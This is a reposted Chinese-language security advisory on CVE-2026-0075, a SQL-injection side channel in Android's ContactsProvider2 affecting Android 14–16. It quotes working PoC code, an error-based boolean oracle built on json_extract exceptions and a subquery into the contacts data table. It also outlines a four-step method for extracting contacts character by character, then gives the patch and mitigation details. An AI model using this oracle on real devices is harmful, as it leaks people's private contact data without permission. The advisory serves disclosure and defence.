【漏洞告警】安卓14到16全中招,通讯录SQL注入漏洞正在抄家(POC已公开)

admin 2026-08-18 06:25:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-0075是Android通讯录ContactsProvider2的本地信息泄露与SQL注入侧信道漏洞,影响安卓14至16版本。漏洞源于查询条件未参数化,攻击者可在未声明READ_CONTACTS权限的情况下,通过SQLiteException错误反馈逐字符提取通讯录数据。官方已于2026年6月5日发布安全补丁,建议用户立即更新系统并避免向不信任应用授予通讯录数据URI读授权。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,漏洞POC,安全大事件


cover_image

【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)

YGnight YGnight

night安全

2026年8月16日 23:36 四川

在小说阅读器读本章

去阅读

一、漏洞描述

CVE-2026-0075 是 Android 通讯录提供方 ContactsProvider2 的本地漏洞,近期POC已经被公开了,通过对poc的分析简单写了这篇文章。

| | | | — | — | | CVE 编号 | CVE-2026-0075 | | 漏洞类型 | 本地信息泄露,SQL 注入侧信道 | | 影响组件 | Android ContactsProvider2 | | 受影响版本 | Android 14、15、16、16-qpr2 | | 修复 | 2026-06-05 补丁级别;AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32 | | 官方评级 | High,Android 安全公告 | | 攻击前提 | 获得通讯录 data/ 读授权;不依赖 READ_CONTACTS | | PoC 来源 | GitHub qm4rs/CVE-2026-0075 |

CVE-2026-0075漏洞是本地信息泄露,利用之前需要先获得通讯录数据 URI 的读授权,PoC 仅用于受控环境,结果与设备构建及补丁级别相关,不构成任意应用直接读取通讯录的通用条件。

二、漏洞原理

漏洞产生的真正原因是查询条件未参数化导致错误反馈。  ContactsProvider2 将调用字符传入的 selection 拼入自身 SQL 执行,权限检查仅覆盖应用直接查询,SQL  内嵌子查询可访问 data、mimetypes 等底层表。未声明 READ_CONTACTS 的调用方通过以下方式获得判定反馈。

以下贴上PoC的部分关键代码:

private static String oracleSelection(String predicate) {
    return "(CASE WHEN (" + predicate + ") THEN json_extract(char(123), char(36)) ELSE 1 END)";
}

char(123) 为 ‘{‘,char(36) 为 ‘$’。条件为真时执行 json_extract(‘{‘,’$’),JSON 解析失败抛出 SQLiteException;条件为假时返回 1,查询正常。判定逻辑:

private boolean rawOraclePredicate(String predicate) {
    try {
        cursor = getContentResolver().query(grantedDataUri,
            new String[] {"_id"}, oracleSelection(predicate), null, "_id ASC");
        cursor.getCount();
        return false;                  // 未抛异常,条件为假
    } catch (android.database.sqlite.SQLiteException e) {
        return true;                   // 抛出异常,条件为真
    }
}

查询条件里用子查询直接访问通讯录底层表,示例:

(SELECT d.data1 FROM data d WHERE d._id=5)

data1 为通讯录数据正文,姓名、电话、邮箱均存储于 data 表。抽取流程分四步:

  1. 以 max(_id) 二分确定 data 表行号上限。
  2. 以 EXISTS 子查询枚举行号。
  3. 以 unicode(substr(…)) 将字符码点逐位二分,逐字符还原字段内容。
  4. 按 raw_contact_id 归组,重建联系人记录。

三、修复建议

官方已经在2260605发布安全补丁 。AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32,标题 Fix side  channel attacks in CP2:对未声明 READ_CONTACTS 的调用方去除 JSON 相关 SQLiteException  错误细节,并把查询结果真正取出来的环节挪进异常处理路径。

避免向不信任应用传递 content:// 读授权;系统与 ROM 厂商跟进 ContactsProvider2 修复。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:night安全 YGnight YGnight《【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)》

hackthebox-Queue 网络安全文章

hackthebox-Queue

文章总结: 本文基于授权红队实战演练,详细展示了从SSRF绕过(利用十进制IP进制欺骗)到内网信息泄露,再到利用WebSocket无认证漏洞获取低权限Shell
评论:0   参与:  0